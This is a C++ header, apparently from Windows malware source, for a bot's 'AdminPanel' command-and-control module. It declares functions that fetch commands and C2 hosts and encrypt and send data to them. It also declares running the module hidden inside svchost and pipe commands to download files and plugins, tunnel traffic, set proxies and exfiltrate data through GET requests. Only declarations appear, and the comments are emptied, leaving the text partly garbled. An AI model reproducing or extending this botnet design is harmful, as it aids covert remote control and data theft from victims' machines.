#include "core\core.h"
#include "core\debug.h"
#include "core\pipe.h"

namespace AdminPanel
{

const int DEF = 0; // 
const int AZ = 1; // 

//     
#pragma warning ( disable : 4200 )

struct MsgSendData
{
	char nameData[32]; //   ( data)
	char nameProcess[32]; //  ( process)
	uint hprocess; //  ( idprocess)
	bool file; //true -     ContentMultipart, false -  ContentWebForm
	char fileName[32]; //    
	int c_data;
	char data[0];
};

//   CmdLog  
struct MsgLog
{
	bool flush; //   
	int code; // 
};

bool Init();
void Release();

//   
//type - 0 Config::Hosts ( ), 1 - Config::HostsAZ ( AZ)
bool GetHostAdmin( int type, StringBuilder& host );
//     ,   '|'
bool GetHosts( int type, StringBuilder& hosts );
//    
bool GetCmd( StringBuilder& cmd );
//   
bool SendData( MsgSendData* data );
//  ,  dst     IV (8 ) +  
bool EncryptToBin( const void* data, int c_data, Mem::Data& dst );
inline bool EncryptToBin( const Mem::Data& src, Mem::Data& dst )
{
	return EncryptToBin( src.Ptr(), src.Len(), dst );
}
//       base64    ,  dst  IV +    base64 (  )
bool EncryptToText( const void* data, int c_data, StringBuilder& dst );
inline bool EncryptToText( const Mem::Data& src, StringBuilder& dst )
{
	return EncryptToText( src.Ptr(), src.Len(), dst );
}
// 
bool Decrypt( const Mem::Data& src, Mem::Data& dst );

}

DWORD WINAPI AdminPanelProcess( void* );
DWORD WINAPI AdminPanelThread( void* );
// svchost    
bool RunAdminPanelInSvchost();
//    ,  thread = true,     ,   
bool RunAdminPanel( bool thread = true );

class PipeInetRequest : public PipeServer
{

	public:
		enum 
		{
			CmdGetCmd,		//     
			CmdSendData,	//   
			CmdLoadFile,	//    
			CmdLoadPlugin,	// 
			CmdTunnelHttp,	// http 
			CmdTunnelIpPort, //     
			CmdSetProxy,	// 
			CmdDelProxy,	// 
			CmdGetProxy,	//  
			CmdDupl,		//      
			CmdNewAdminka,	//  
			CmdSendDataCrossGet, //     GET  (       )
			CmdLog			//   ,    ( )
		};

	private:

		virtual int Handler( Pipe::Msg* msgIn, void** msgOut );

		//     
		static bool SendString( const char* namePipe, int cmd, const char* s, Pipe::typeReceiverPipeAnswer funcReceiver, const char* nameReceiver, DWORD tag = 0 );

		Mem::Data result; //    

	public:

		PipeInetRequest();
		~PipeInetRequest();

		//          
		//    .
		//      
		//namePipe   ,   ,      

		//  
		bool Reg( int priority ); 
		//     
		static bool GetCmd( const char* namePipe, Pipe::typeReceiverPipeAnswer funcReceiver, const char* nameReceiver = 0 );
		static bool SendData( const char* namePipe, const AdminPanel::MsgSendData* data, int c_data );
		static bool LoadFile( const char* namePipe, const char* url, Pipe::typeReceiverPipeAnswer funcReceiver, const char* nameReceiver = 0, DWORD tag = 0 );
		static bool LoadPlugin( const char* namePipe, const char* plugin, Pipe::typeReceiverPipeAnswer funcReceiver, const char* nameReceiver = 0, DWORD tag = 0 );
};
